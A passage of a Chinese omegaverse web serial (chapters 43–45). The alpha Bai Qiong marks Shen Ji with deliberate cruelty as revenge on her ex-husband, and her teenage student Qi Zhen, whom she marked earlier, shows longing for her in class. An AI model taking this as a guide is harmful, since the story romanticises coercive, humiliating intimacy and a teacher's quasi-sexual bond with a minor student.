在之前医院的时候明明用了药剂,标记也快消失了,可他在见到自己的时候信息素像狗见了肉骨头一样不受控制往她那里钻。 只要标记一次,还是初次标记,白琼相信沈霁也会像顾厌迟一样食髓知味地渴求自己。 “我倒是可以等你慢慢考虑,可你似乎没有时间了。” 琼花信息素轻轻勾缠了下空气里躁动紊乱的气息,沈霁闷哼了声,灼热温度蔓延全身,眼前的视野也变得模糊了起来。 在沈霁被烧得受不了的时候,一只微凉的手覆在了他的脖颈,只差一点就要碰触到发红的腺体。 他身子一颤,蝴蝶兰信息素贪婪地追了过去。 沈霁心下一慌,想要收回自己的信息素,女人的信息素快他一步。 那缕信息素很淡,却似风筝线,紧绷着一点一点将快要飞走的风筝拽到了自己身边。 与此同时白琼的手也从下往上落到了腺体上。 滚烫的温度把她的指尖灼红,蝴蝶兰的馥郁香气丝丝缕缕把她包裹缠绕。 “你的信息素比你诚实。沈霁,你感觉到了吗?它在渴求我,渴求我的触碰,我的信息素……” 白琼的指腹摁压在了腺体上,不轻不重,却足够让沈霁身体瘫软成泥。 他脚下一软,意识混沌不清,身子一歪倒在了白琼怀里。 在最后一丝理智快要不复清明之前他听到头顶传来一声轻笑。 “呵,现在你的身体似乎也在渴求我了。” 第43章 标记一个omega对白琼来说驾轻就熟, 尽管她只有过顾厌迟这么一个omega,因为齐镇只是临时标记,程度轻的可以忽略不计。 而顾厌迟自进入分化阶段至今, 压抑了多年的欲望太强, 在他热潮期的那段时间他几乎每天都会缠着她索求。 她在顾厌迟那里实战得到的经验, 此刻又应用到了沈霁——他的心上人身上, 一时之间白琼不知道该为自己感到可悲还是为顾厌迟感到讽刺了。 尤其是在她们的信息素本能吸引交缠在一起的时候, 说实话,很恶心。 比在得知顾厌迟喜欢的是男人的时候还要让白琼觉得恶心, 她恶心自己明明那么厌恶对方,生理上却没办法和心理上一致。 白琼抱着烧糊涂到站不稳的男人, 那头如缎子一样的长发刚清洗过,洗发水的香气和他身上的香气融在一起, 让空气里的温度又攀升了几个度。 她的手掐住他劲瘦纤细的腰上,后者比她高出半个头, 骨架也比她大上不少,可白琼似一尊铁铸的雕塑一样站在那里,丝毫没有因为对方将近乎全部的重量靠在自己身上而有任何吃力的痕迹。 她游刃有余的样子好似扶着的不是一个成年男性, 而是一片轻飘飘的羽毛。 “白……白琼。” 沈霁的意识不怎么清明, 但他还认得眼前人。 一个alpha,可以随时标记他的alpha。 她说的要利用他刺激她前夫以求复合的话沈霁已经无心去求证真假, 他现在被信息素搞得快要崩溃了。 不光是他胡乱溢出无法控制的信息素,还有女人吝啬的释放给自己的那一点杯水车薪的信息素。 他的热潮提前了。 他本身就不稳定的信息素主因, 女人的刺激则是诱因。 他的自制力薄弱,她也难辞其咎。 可是她为什么毫无反应,只有他一个人在欲望的沼泽里越陷越深? 是她不喜欢自己的信息素吗,还是不喜欢他这个人? 沈霁不知道自己这个时候还在追根究底这些无聊的问题干什么, 但他很在意,不仅在意她为什么对自己无动于衷这件事,更在意她是不是真的像她所说的那样不会被他影响,像其他标记了omega后便将其当成所有物那样占有。 这个想法很幼稚,带着赌气的成分,可事到如今既然抗拒不了她的信息素,自己的身体也实在没办法拖延下去了,那他干脆就让她标记吧。 沈霁不相信自己真的在她眼中毫无魅力,对方真的只是单纯把他当成一个和前夫复合的工具人。 “你想清楚了?” 白琼觉察到了他态度的松动,垂眸问道。 “这重要吗?我,我现在这副样子要是再不进行标记任由热潮这样蔓延下去,我就算脑子不被烧坏身体也必然会造成不可逆的伤害。” 沈霁喘着气,努力让自己隔着模糊的视野和她那双过分清明的眼眸对视。 “白琼,你最好真的说到做到,别嘴上说着利用我,却又因为标记关系离不开我。” 他不甘心地放出这样的狠话,但凡他现在不是这么一副眼神迷离,面色潮红的样子的话,这番话还有些威慑力。 不过也并非全然不痛不痒,至少白琼有些被对方的挑衅给激怒了。 “哈,你看来对自己的魅力很自信啊?就这么笃定只要我标记了你后就会对你的信息素上瘾?不过我能理解你的自信的来源,你的这张脸的确很漂亮,从小到大你应该都生活在别人的追求和赞美中没有被人拒绝过吧。” 白琼捏着他的下巴不让他动弹分毫,明明男人比她高,可他在面对对方的时候却有一种居高临下的俯视感。 他盯着女人的嘴唇,一张一合,殷红的好似春日枝头开出的第一朵海棠。 只是吐出的字句却像冬日凛冽的寒风。 “但我也有自信我不会是拜倒在你西装裤下的一员,因为我不喜欢你,无论是你这张漂亮的脸,还是香的让人反胃的信息素。倒是你一直在害怕被我的标记影响吧,胆小鬼。” 自己一直害怕的事情被这样直白地戳破,沈霁恼羞成怒地吼道:“你说谁胆小鬼?!我那是洁身自好!倒是你,你不是还对你前夫余情未了吗,结果前脚刚离婚转身就找上了别的男人发泄欲望,你真的……真的是我见过的最差劲的家伙!” 白琼以为他气成这样会破口大骂她祖宗十八代,结果是她高估了他的杀伤力,憋了半天竟然就憋出了“差劲”两个字,连脏话都算不上。 更让她觉得好笑的是都这么生气了,他的信息素却依旧跟狗一样热情的往她这里扑,这让男人本就不怎么高的气势一下子又弱了几分。 “那你就没有任何理由拒绝我的标记了,不是吗?” 琼花的气息压了过来,沈霁连虚张声势都没办法办到了,因为现在自己开口除了不雅的声音根本无法吐露出完整的字句。 而蝴蝶兰信息素更是迫不及待追了上去。 标记是一件很消耗体力和时间的事情,它并不是单纯的释放信息素,然后咬上腺体注入信息素那么简单,在标记之前是需要触碰,亲吻,拥抱,这样的身体安抚和信息素安抚并用,让omega不再因为本能而惧怕alpha,彻底放松下来接纳对方。 只有这样在标记的过程中才不会那么疼痛难捱。 白琼在对顾厌迟标记的时候就是这样做的,极尽温柔,极尽缠绵,把他的感受放在第一位,即使很多时候她自己并没有感到尽兴,也在觉察到他身体承受不了后强行终止标记。 可她没必要这样对沈霁,她只需要咬上他的腺体完成标记就好。 他的感受如何并不在她的考虑范围内。 所以在蝴蝶兰信息素试图勾缠住她,寻求她的回应和安抚的时候,白琼并没有任何反应。 她仅仅只释放那么一点儿的信息素刺激着对方,却不给予真正的抚慰,这种隔靴搔痒的感觉让沈霁抓狂。 于是他开始抛弃所谓的理智和矜持,主动凑近白琼,将自己的嘴唇送了上去。 白琼偏了下头,本该落到嘴唇上的吻擦在了她的唇角。 沈霁想要让这一切回归正轨,再次追着她的唇索求,动作急切的样子让她不可避免想起了处于热潮期的顾厌迟。 他那时候也是用这样痴迷灼热的眼神注视着自己,急不可待的想要和她亲近。 白琼没有任何稍微释放点信息素就将他们引诱的失去理智的优越感,她只有一种被愚弄和欺骗的愤怒。 在沈霁再次不死心想要吻过来的时候,她一把抓住了他的头发猛地往后一拽。 沈霁疼得闷哼出声,他脑袋被迫仰着,乌黑的长发如倾泻的月华从后脑勺垂落,修长的脖颈全然暴露在了空气,颈动脉因为这个粗暴的动作显得格外明显,青色的血管在薄薄的一层皮肉组织下似缠绕在脖子上的蛛丝,配合着他被束缚的痛苦表情来看,窒息得让人大气都不敢出。 他嘴唇微启,想说些什么,可下一秒女人并没有任何怜香惜玉地低头咬上了他的腺体。 比被拽住头发更甚的刺痛让他眼前一黑,差点儿昏死过去。 在感受到白琼把信息素渡进来的瞬间,沈霁脸色刷的一下白了,他宁愿自己刚才真的就那样疼晕过去,而不是这样清醒地承受标记的痛苦。 信息素从咬破的腺体中毫无顾忌,横冲直撞地闯进了他的体内,像是一场巨大的风暴,席卷着四肢百骸,五脏肺腑。 她不安抚,也拒绝交融,只是霸道的在所到的每一处留下琼花的气息,把他强行标记成自己的所有物。 沈霁这一刻彻底相信了白琼的话,她是真的不会被他影响,反倒是自己。 如果白琼继续灌入信息素的话,在这样强烈的刺激和极致的痛苦极致之下,他整个身心都会崩溃的。 他感到恐慌极了,伸手努力想要把埋在自己脖子上的白琼给推开,可他的手软的像面条一样使不出一点力气。 在沈霁绝望的以为自己会这样被白琼折磨下去的时候,她突然松口了。 沈霁还没有从劫后余生中松口气,便听到女人捂着嘴干呕出声。 她弯着腰,眼睛因为干呕而溢出生理性泪水,眼尾也很红。 神情带着难以忍受的排斥和厌恶。 有那么一瞬间沈霁自己都很错愕,以为两人角色对调,她反而成了被标记的那一方。 “好恶心……” 沈霁恍惚间听到了女人这么说道,她用力擦拭着自己的嘴,像是上面沾染着什么脏东西,直到发红破皮也没有停下。 “好恶心,好恶心。” 她一直重复着这三个字,沈霁后知后觉意识到她是在说自己。 不知道是不是标记这么快起了作用让他对她产生了虚假的恋慕,还是因为自己被嫌弃了让他感到羞辱。 沈霁觉得自己的心脏被一只无形的大手死死攥着,竟生生盖过了腺体标记的疼痛。 他应该愤怒的,可比愤怒更先涌上来的是一种没由来的恐惧。 沈霁还没有来得及 搞清楚自己为什么会恐惧,身体比脑子更快做出了反应。 他上前一把捧住了女人的脸,狠狠吻了上去,堵住了她的嘴。 第44章 痛, 除了痛还是痛。 这是沈霁对于这次标记从始至终的感受。 或许除了痛还有些什么,但他还没有来得及分辨就已经被席卷而来的痛苦给淹没了。 沈霁也不知道自己什么时候昏迷的,又昏迷了多久, 等到再次睁开眼醒来的时候已经是第二天的凌晨了。 他怔怔望着头顶的天花板, 他清楚的记得自己当时和白琼是在客厅进行的标记, 此时自己却躺在了卧室的床上。 加上浑身上下除却脖子之外没有留下一点痕迹, 这意味着白琼真的只是标记——咬上腺体, 把信息素灌进去,然后松口便完事。 她什么也没做, 真要说标记后还做了什么的话,大概就是把被刺激到昏死过去的自己抱进了卧室, 放到了床上。 还真是绅士啊。 沈霁这时候也没空抠字眼,较真一个女人套上绅士这样的词是不是有些奇怪, 他清醒过后心里升腾出来的只有自嘲和羞辱。 亏他在对方坦白想要利用他来刺激自己的前夫的时候那么警惕怀疑,结果她还真的心口如一的如她所说的对他毫无兴趣。 尽管沈霁很快就在热潮和信息素的双重刺激下失去了意识, 可这不代表他什么都不记得了,至少在昏迷之前所发生的一切他都印象深刻。 比如在他因为她的信息素逐渐失去理智,面红耳热, 意乱情迷反时候, 女人从他头顶传来的嗤笑。 比如在他不受控制往她身上贴的时候,她冷淡的眉眼中毫不掩饰的轻蔑和嘲弄。 再比如他在如何用信息素引诱也得不到对方的一点安抚的时候, 不堪忍受的主动渴求对方碰触对方的时候,对方神情厌恶的回避了他。 以及在标记后女人脸色难看, 似碰了什么脏东西一般弯腰干呕出声的画面。 他的记忆只停留在这里,讽刺的是全都是不好的片段。 沈霁这次彻底相信了女人执着于那个压根不喜欢她的前任,执着到即使最终松口放手和他签署了离婚协议,但还是天真的以为两人结婚多年对方再怎么也不可能对她毫无感情, 想出和另一个男人交往来刺激对方以达到复合的目的。 他应该松一口气的,毕竟他忍受这么多年的热潮期而始终没有去找alpha就是怕被对方缠上,这才退而求其次想要找个排斥度不那么高的omega。 现在一个心理和生理上都不喜欢他,不被他的外貌和信息素影响的alpha出现在了他的面前,这比中五百万彩票的几率还要低。 对方还什么都不图,只图他扮演她的男朋友,答应了她自己以后就可以不用再被热潮期折磨,这和天上掉馅儿饼有什么区别? 可是沈霁心里很难受,那种酸酸胀胀的感觉就像一口气吃了一整个柠檬,柠檬的汁水充斥在整个口腔,又顺着咽喉滑入胃里。 于是整个身体似乎都被浸泡在了酸得要命的柠檬汁液里。 他不喜欢白琼。 他确定以及肯定,他们只不过见了三次面,他顶多因为对方帮过他而对她有那么点好感。 只是这点好感在得知对方想要利用他刺激她的前夫的时候就荡然无存了,当然不至于讨厌,毕竟她在标记之前和他坦白了,是他自己没有抵挡住热潮期对alpha本能的渴求。 可白琼故意隐瞒自己是alpha是真,她恶劣的选择他最无法抗拒标记的时候坦白了自己的身份,这本身就很过分。 所以他绝不可能喜欢这样一个卑鄙的家伙。 然而心里不断涌现上来的酸涩和痛苦又没办法作假,他在难受,因为女人为了另一个男人利用自己而难受。 但这绝不是因为喜欢…… 是标记。 沈霁艰难的从床上爬起来,踉踉跄跄进入了浴室。 他双手撑在洗手台边上,竭力维持着身体的平衡这才没有倒下。 面前的镜子清楚地映照着自己此时虚弱狼狈的模样——毫无血色,白的近乎透明的脸,凌乱的头发,还有发红的眼尾。 他没有管自己此刻的脸色多难看,把挡在脖子上的头发拨开去看腺体位置。 指甲大小的腺体上女人留下的咬痕清晰,她咬得不深,只是初次标记的沈霁的腺体十分敏感脆弱,加上他又是易留痕体质,所以那咬痕在他的脖子上乍一看似留下了两个血窟窿一般触目惊心。 空气里蝴蝶兰的气息馥郁得让置身于其中的沈霁都有一种再闻下去鼻子可能会被刺激到失灵的错觉,可哪怕在这样浓烈的气息下,女人吝啬的释放的那一点儿可以忽略不计的信息素却依旧存在感十足。 尤其是对于被标记的一方。 沈霁感觉到自己的信息素争先恐后地缠上那缕快要消散的琼花香气,这让他幻视先前急不可耐向女人索吻的自己。 巨大的羞耻感涌了上来,让他苍白的脸色染上绯红。 果然是因为标记,他明明不喜欢白琼,却因为这该死的标记变得那么患得患失到在意起一个素未谋面的男人——仅仅因为对方是白琼喜欢的人。 以前沈霁不想要找alpha是担心对方利用标记拿捏自己,现在他意识到了一个更麻烦的情况。 白琼没有任何想要利用标记把他控制,留在身边的想法,反而是他自己开始因为标记对她产生虚假的感情了。 在标记消失之前他可能都要沉浸在这种对女人爱而不得的苦情剧本中了。 标记几天就能消失,可他却还要第二次,第三次的热潮期。 到时候他要怎么办?真的要答应白琼假扮她的男朋友,以此从她那里得到标记吗? 只是一次标记他就失态成这样了,不敢想继续不断标记下去他会不会真的爱上对方,无法再离开对方。 他当然可以拒绝,之后热潮期到来的时候去找别的alpha帮忙,可这样做的风险比让白琼标记大多了。 至少后者是真的对他毫无兴趣,不会趁着他热潮期对他图谋不轨。 沈霁的脑子很乱,他浑浑噩噩回了卧室,重新躺了下来。 脑袋刚挨上枕头,余光便瞥见了床头柜上有一张纸条。 他猛地又坐了起来,动作太大加上刚标记的身体本就虚弱,差点儿眼前一黑再次昏过去。 好在沈霁缓过来了。 他深吸了一口气,不让自己有太大的情绪波动,一张纸条反复做好了心理准备才打开来看。 一个alpha在标记了一个omega后就算没有留下温存安抚,大抵也不会说什么过分的话来刺激对方吧。 但白琼又和别的alpha不一样,她不喜欢自己所以内容必然不是什么温柔体贴,叮嘱他多休息之类的话语。 沈霁好奇的同时又很忐忑,心里又夹杂了一些隐秘期待。 然而在看清纸条上的内容后他瞳孔一缩。 【对了,忘了告诉你,我的前夫就是顾厌迟。】 …… 留下那样一张自爆身份的字条并不是心血来潮或是情绪上头,这是白琼来之前就想好的。 她接近沈霁的确是为了报复顾厌迟,没有什么比横刀夺爱更大快人心的了。 但她并不打算温水煮青蛙一样的拿下沈霁。 她都是alpha了,alpha想要得到一个omega只需要标记对方就够了。 既然有这样高效的办法,她又干什么要那么费力费心去攻略沈霁? 因此只要成功标记了对方,她也就没必要藏着自己是顾厌迟前妻的身份了,而且无论沈霁和顾厌迟以前有没有过一段,他对顾厌迟的感情感到恶心和排斥这一点却是事实。 不然也不会告诉他对方喜欢同性这件事,只为了换取她的帮忙。 所以在知道自己被他厌恶的人的妻子标记了,他的恶心肯定不亚于自己捏着鼻子标记他。 更重要的一点是沈霁在知道了她就是顾厌迟的妻子后一定会猜到他们离婚的原因,他害怕顾厌迟会在离婚后来找他,巴不得找个假伴侣当挡箭牌,且这个挡箭牌还必须是不怕顾厌迟的人。 而白琼这个前妻简直不要太合适。 甚至他为了让顾厌迟和她尽快复合,不再纠缠他,必然会十分配合她。 那到时候白琼想要利用他来报复顾厌迟便轻而易举了。 至于沈霁,虽说他本质上只不过是一个被顾厌迟喜欢上的倒霉男人,可他从始至终真的无辜吗? 既然他并不害怕把顾厌迟喜欢同性这件事说出来,那为什么在明知道他和一个女人结婚的时候选择缄默? 别人想要独善其身没有告知的义务,但他不一样,他是当事人。 被一个男人喜欢让他感到恶心甚至恐惧,那被喜欢同性的男人娶来当挡箭牌的她呢? 他的冷眼旁观,无动于衷也不该被报复吗? 而且昨晚在标记了沈霁后她又做梦了,梦中的顾厌迟并没有分化成omega,而是成功分化成了alpha,原本抗拒着他的沈霁在信息素的影响下慢慢接受了他。 然后他们在一起了。 在还没有和她离婚的时候,他们就滚在了一起。 白琼以前或许会告诉自己这只是一场梦,不要当真,可她自从做梦以来梦到的一切都应验了。 梦里没见过的人不久后出现在了自己面前,顾厌迟也的确如梦里一样注射了基因药剂,唯一的不同是她的标记干预了他的分化,压制了他体内快要完全从omega基因转化为alpha基因。 他分化失败了。 沈霁大概率不会像梦里那样接受他了,但只是这样爱而不得还不够,看着自己心爱的人投入别人的怀抱自己无能为力才是真正的杀人诛心。 白琼是没想过用标记控制沈霁,不是她不屑于这么做,是她没必要这么做。 “你的信息素很强。” 前几天苏芸女士拿着新鲜出炉的检测报告找上了白琼,盯着她的眼睛神情复杂说道。 白琼完成完全分化比顾厌迟要早得多,只是她并不知道。 苏芸女士也是在发现顾厌迟被她标记后出现的依赖期比她标记顾明台的要严重许多。 顾明台的依赖期不到三天就会结束,且即使苏芸没有时刻陪伴着他,给他几件沾染着她气息的衣服什么的他的分离焦虑就会大大缓解,但顾厌迟不是。 他的依赖期持续了近一个月,这段时间里他就像刚出生的婴孩无法离开母亲一样无法离开白琼,无论是拿白琼的衣服筑巢还是待在充斥着她气息的卧室,都无法缓解他的痛苦分毫,只有白琼的信息素和肢体安抚才能让他得以解脱。 于是苏芸在得到白琼同意后从她腺体中抽取了一点血液拿去医院进行检测,检测结果让人大吃一惊。 “这话你之前就说过了,你说我的信息素很强,大概率是和你一样是第一批进入分化的。” “不,不仅仅是这样。” 苏芸女士将检测报告上面那些白琼看不懂的专业术语简单给她做了解释,最后指着那堆高的吓人的数据,语气难掩激动。 “白琼,你不仅仅是第一批进化的,还极有可能是第一个完成进化的alpha。这意味着你可以脱离omega信息素的影响,他们却无法抗拒你。” “如果我们才堪堪步入进化的门槛,而你已经站在了进化的顶端。” 苏芸眼睛亮的出奇,不知道还以为她才是那个第一个完成进化的人。 “所以你不用担心厌迟标记消失后会疏远你了,早在被你标记的那一刻起,他就彻底成为了你的所有物。” 被标记的omega会在标记存续期间对标记自己的alpha短暂出现心跳加速,面红耳赤,一日不见如隔三秋的类似于爱情的感情。 但这并不是真的爱情,本质上只不过是受激素影响的情况而已。 等到标记消息,激素恢复稳定,omega又会回到封心锁爱的状态。 白琼的标记也不例外,在标记消失或被压制的情况下顾厌迟也会重新清醒过来,先前对她有多依恋又多喜欢,事后就有多厌恶排斥。 她的标记和其他alpha唯一的不同是,在被她标记过后的omega很难接受别的alpha的标记。 倒不是她的信息素永久停留在对方的体内,alpha之间的排斥和占有欲让她拒绝别的alpha接近她的标记对象,而是omega自身没办法接受。 很简单的一个道理,就像抗药性一样,在被那样强大的信息素占有过后,除非是比她的信息素更强的alpha,不然omega的欲望很难得到满足。 这就是苏芸所说的顾厌迟被标记后大概率离不开她的原因。 白琼倒是对之后男人热潮期忍受不了来求着自己标记的画面喜闻乐见,可顾厌迟手下到底有专门的针对他的身体情况研制的抵抗热潮期的药剂,加上他又是一个自尊心那么强的人,他大概率是能抗住的,只是过程可能会比较痛苦折磨。 沈霁就难说了。 白琼这样幸灾乐祸地想着,心头这段时间一直淤塞的浊气稍微消散了那么一点。 然而隔天早上上课的时候,在齐镇不知道多少次红着脸偷看自己后,她后知后觉想起了—— 她的标记对象里还有自己的学生这件事。 白琼:“……”—— 作者有话说:漏了几段!不好意思 看过的宝贝麻烦重看一下哦,不会多收钱!么么哒 第45章 算算时间, 给齐缜标记已经是三天前的事情了。 因为是临时标记,加上她每天都在学校,对方基本上能时刻看到自己, 所以他的依赖期症状比顾厌迟要轻上许多。 只是今天他落在自己身上的目光格外灼热, 好几次都差点被其他同学看出什么异样来。 此时正在课堂中, 白琼对此只能睁一只眼闭一只眼, 继续上课。 齐缜不是不知道自己这样直勾勾盯着女人有多失礼, 可他没办法控制自己。 前两天他已经竭力克制了,姑姑原本担心他标记期间和白琼接触会被影响, 想着给他请一段时间假,但他拒绝了。 齐缜这个年纪的少年正是自尊心比天高的时候, 更何况他本身骨子里就透着傲气。 齐缜和混世魔王,不学无术的江峤不一样, 两人虽然家世和年龄相当,但前者除却性子有些独之外, 从小到大就是别人家的孩子,成绩优秀不说其他方面也很出众,江峤就是因为自己父母还有身边人一直拿他跟少年比较, 这才对对方很是不爽, 处处跟他不 对付。 可如今齐缜分化成了omega,他感到一切都变了, 尽管在他家人和朋友眼里依旧出色,依旧在意他, 但那种在意不仅仅是对小辈,对友人,还有一种类似于对待什么易碎品的小心翼翼。 而他自己身体上的变化作为当事人他感知得更加明显。 他的力气变小了,身体变得敏感脆弱, 稍微一个磕碰就能留下痕迹。 连死对头江峤这段时间也没有像以前那样有事没事就凑过来找他茬的,两人撞见的时候对方的视线会下意识落到他的腺体上,然后露出一种“omega何必为难omega”的同病相怜的神情,心情恹恹地绕着他离开。 齐缜觉得自己被轻视了,被身边的亲近的人,陌生的人,所有只要知道他是omega的人。 从出生就站在金字塔上层,一直接受着强者思维的少年能够忍受那让人身心饱受摧残的热潮期,却唯独无法忍受被人当成弱小的,需要时刻保护的对象看待。 尤其是那些分化之前明明他看都不看在眼里的家伙,在成为了alpha后反而开始怜悯同情起来他,甚至还有主动找上他,用近乎施舍的语气说什么自己可以帮他标记之类的话。 而从齐缜分化至今,从始至终对他态度毫无改变,不会因为他是omega而小心对待,或是看轻他的人,只有白琼。 所以在被告知自己的热潮期即将来临,必须尽快找alpha标记的时候,他的脑海里第一时间浮现的就是白琼的名字。 而齐缜也的确如愿得到了对方的标记,成功度过了热潮期。 要是这时候他还畏惧着白琼,畏惧着alpha的标记,而选择躲在家里的话,那未免也太窝囊了。 当然,齐镇也不是那种死要面子活受罪的人,白琼留在身上的标记被自家姑姑用信息素压制过——alpha信息素互相排斥,抵消了一些标记的影响。 不然的话他自己也没自信保证在面对白琼,这个标记了他的alpha的时候不会失态。 然而他还是高估了自己,低估了白琼标记的强度。 “你真的确定要照常上学不请假吗?白琼和别的alpha不大一样,你了解姑姑的性子,当时看到你被她标记了的时候,按理说我会怒不可遏不管三七二十把手上的包往她脑袋上砸,但我没有。” “不是我不想,也不是我足够理智,是我没办法动。” AO和AA之间在感知到彼此信息素后都很容易擦枪走火,只是前者是情难自禁,后者是拳脚相加。 季青禾在感知到白琼的信息素的时候没有生出动手的欲望,不是对她的信息素没有反应,而是被压制了。 简而言之白琼比她强。 被一个信息素如此强大的alpha标记是一件很危险的事情,这意味着他的依赖期会更严重,要是不保持距离很容易被她影响出现二次发热的情况。 齐缜当时听到季青禾的这番话后虽然很惊讶白琼分化后竟然比自己姑姑还要厉害,却并没有太过在意。 她或许很厉害,可他也不弱。 他不认为自己意志力薄弱到在对方没有故意释放信息素引诱自己的情况下,还会被对方影响。 直到齐缜隔天再次见到白琼之后,他才意识到事情的严重性。 他根本没办法认真听课,满脑子都是白琼,想要和她亲近,想要她的标记,想要她的信息素。 那种源自灵魂深处的渴望连同他自己都感到可怕。 齐缜不知道是这到底是标记还是所谓的依赖期在影响他,可他在标记后再次见到白琼的第一眼就没办法再通过请假这样的方式回避她了。 因为他完全无法忍受好几天见不到白琼的日子,那简直比连续来十几次热潮期还要痛苦。 齐缜知道只是看着对方远远不够,这种程度只不过是饮鸩止渴,但总比看不见好。 好在他再渴求白琼,在面对对方的时候勉强能维持基本的礼貌,不露出和做出失态的神情和举动。 只是这些都在第三天的时候给打破了—— 因为他在白琼身上感知到了omega的气息。 很淡,淡到要不是他身上有对方的标记的话基本上无法觉察。 被标记过的omega虽然可以度过热潮期,可身体上的痛苦可以得以缓解,心理上的依恋和渴求却因为没有得嗲满足而与日俱增。 大多数的omega在标记过后一般会进行二次,三次的标记,就算再不济身边也要留有一些带有alpha气息的东西,比如衣服之类的在身边,不然会十分难熬。 齐缜这种可以每天在学校见到白琼,感受到她的气息的程度虽还是有种隔靴搔痒难捱,但好歹是能在不进行二次标记挺过依赖期的。 前提是他不再遭受刺激。 在今天之前女人身上并没有omega的气息,也就是说她是在昨天标记的对方。 那个omega是谁?顾厌迟? 是了,白琼那么爱顾厌迟,除却他这个厚着脸皮上赶着求她帮忙标记的omega之外,她不可能会碰别的omega。 齐缜想到这里的同时不可避免想起了先前女人来他家标记的时候,他当时虽然回了卧室,可担心姑姑会为难白琼,甚至会对她动手,于是特意留了一道缝隙,隔着门缝听到了她们谈话的内容。 那个顾厌迟似乎并不喜欢白琼,更让人意外的是他好像连性取向都不大正常。 当时她们也只是怀疑,那这段时间女人有没有调查清楚呢? 如果调查清楚这只是乌龙一场的话,她昨天标记的对象十有八九就是顾厌迟,如果不是,白琼再怎么喜欢顾厌迟,也做不到装作什么也没发生继续他吧。 齐缜说不清自己是出于好奇,还是在标记影响下太过在意那个在女人身上留下信息素的omega是谁,他脑子很乱,心情也很糟糕,盯着白琼的目光从原本的炙热变得有些莫名的哀怨和受伤。 一直在回避对方的视线的女人沉默了,冷着脸点了他的名字。 “齐缜。” 女人平时的声音大多都是温和的,此刻却透着点儿愠色的冷。 被标记的omega身子不受控制抖了下,先前还一瞬不移舍不得移开的视线,在对方真正看过来的时候慌乱地收回。 “齐缜,我刚才讲的那道题你来回答一下。” 齐缜根本就没认真听,全程的注意力都落在白琼那儿了,他脸一下子红了,在众人疑惑的目光下更臊得厉害,最后只磕磕绊绊说了句“不知道”。 白琼深深看了他一眼,明明没有释放信息素,他却忍不住双腿发软。 好在她没有为难他,只叫他好好听讲后便让他坐下了。 但齐缜知道女人这是在警告他,要是他再做出又越界的举动的话,大约他又得被请家长了。 齐缜倒是不怕请家长,就是害怕自己找白琼标记的事情给暴露。 毕竟白琼的身份太特殊了,不光是自己的老师,还是顾厌迟的妻子,不是所有人都像姑姑那么好说话,要是被家里的其他人知道了,他肯定吃不了兜子走。 家法伺候什么倒也罢了,最严重的情况可能会直接给他换个学校,没准送出国也不一定。 那是如今齐缜绝对无法接受的,他不想离开白琼。 齐缜坐下后抿着嘴唇,之后再也没敢把眼睛往讲台上的女人身上乱放了。 少年这几天异常的举动班上其他的同学或许没有觉察到什么不对劲,作为他的死对头江峤却敏锐发现到了齐缜和白琼之间微妙的气氛。 前段时间在得知齐缜也分化成了omega后,原本因为自己分化成了omega感到天塌了的江峤心里反而好受了不少。 可最近他的心情又不怎么美丽了。 因为他发现即使分化成了omega,对方也比自己要过得舒坦得多。 在自己饱受热潮期的折磨,又死活不愿意被人标记的时候,对方从分化至今竟然都毫无影响。 好像没有热潮期似的。 江峤一方面羡慕嫉妒恨,一方面又想要找他问问他是怎么做到的,只是纠结许久也拉不下脸。 只是今天,他似乎隐约明白了什么。 他盯着前排少年被衣领遮挡着严严实实的脖子,从前几天开始,他就一直把拉链拉到了最上面,挡住了脖子的同时,也将腺体藏在了里面。 腺体是很脆弱敏感的隐私部位,大多omega都会选择用头发或者衣领挡住,起到保护和隔绝外界气息刺激的作用。 一开始江峤以为齐缜也是出于这样的打算,如今看来好像并不是那么回事。 只是那个猜测太荒唐了,江峤一时之间也没办法确定。 下了课,在齐镇去卫生间的时候,他也跟了过去。 他抱着手臂靠着墙,等到齐缜从隔间出来后,也不等对方反应一把把人给拽到了外面走廊。 齐缜见是江峤,以为对方要找事,下意识握紧拳头准备往他脸上砸过去。 拳头快要撞上少年高挺的鼻梁,又在听到他的话后生生顿住。 “你是不是找白琼给你标记了?” 齐缜心下一慌,想要否定,可那一瞬的慌乱做不得假。 江峤捕捉到了,忍不住爆了句脏话,“woc,齐缜,不是,艹,真的假的?你真找她了,你……” 他朝着齐缜比了个大拇指,语气佩服道:“你是这个。” 齐缜的脸一阵红一阵白,咬牙切齿道:“不是你想的那样,我和白琼……白老师不是你想的那种关系,我只是找她帮忙标记而已。” “那也很牛了好吧,白琼可是已婚,还是我们的老师,你竟然能说动她给你标记。所以这就是好学生的待遇吗?” 他酸溜溜道:“我还以为你体质特殊,热潮期没感觉,还想找你取取经呢。” 换作以前齐缜可没有那么多耐心听他说那么多废话,可他知道了白琼标记了自己的事情,虽然暴露了不至于吊销白琼的教师资格证,但到底会给她在学校带来不好的影响。 他沉声道:“这件事是我求她帮忙她拗不过我心软才答应的,你要什么事情冲我来,别因为她之前你犯事惩罚过你拿这个当把柄报复她。” 江峤气笑了,“你少特么狗眼看人低,我是有那么点不爽她,可我还没有那么卑鄙到这种程度。” 少年盯着他看了好一会儿,见他神情坦荡不像是说谎的样子松了口气。 “记住你说的。” “诶等一下。” 江峤见齐缜要走,赶紧拦住他。 齐缜面露不悦:“你还有什么事?” “啧,也没什么,就是想问一下……怎么样?” 他说的含糊,齐缜没听明白他什么意思。 “什么怎么样?” “哎呀,还能是什么?就是标记啊,疼不疼,难受不难受?我热潮期也要到了,我接受不了被人咬,感觉特别憋屈特别低人一等,可我信息素最近越来越躁了,我担心后头忍不了我也不得不找个alpha给我标记……” 他挠了挠面颊,瞥了下对方被衣领挡住的脖子。 “所以你能给我说说感受不,要是白琼技术可以的话我也想找她。” 几乎话音刚落,先前刚收回的拳头毫无征兆地砸到了江峤脸上。 他被这么猝不及防一砸,脑袋一偏,身子一踉跄,整个人往后一倒,背撞到了墙上,火辣辣的疼。 “艹!齐缜你他么……?!” 少年用力攥住了江峤的衣领,手背青筋凸起,眉眼生冷。 “你敢找她试试?” 以前两人不是没干过架,但大多数时候都是他找茬在先,齐缜很少主动动手,且顶多是一副不耐烦的样子想要速战速决,可这一次不一样。 那双从来没怎么把他放在眼里的眼睛头一次露出了一种不安的忌惮和危机感。 只是因为他随口一提的那么一句。 江峤沉默了,“……是标记的原因?” 刚才身体比脑子更快反应,意识到自己的失态的齐缜很是懊恼,想否认,但不知怎么又没办法那么坦荡地说出口。 他压着嘴唇,紧绷着下颌,心下烦躁得厉害。 “不是你想的那样。”他再次重复了这么一句。 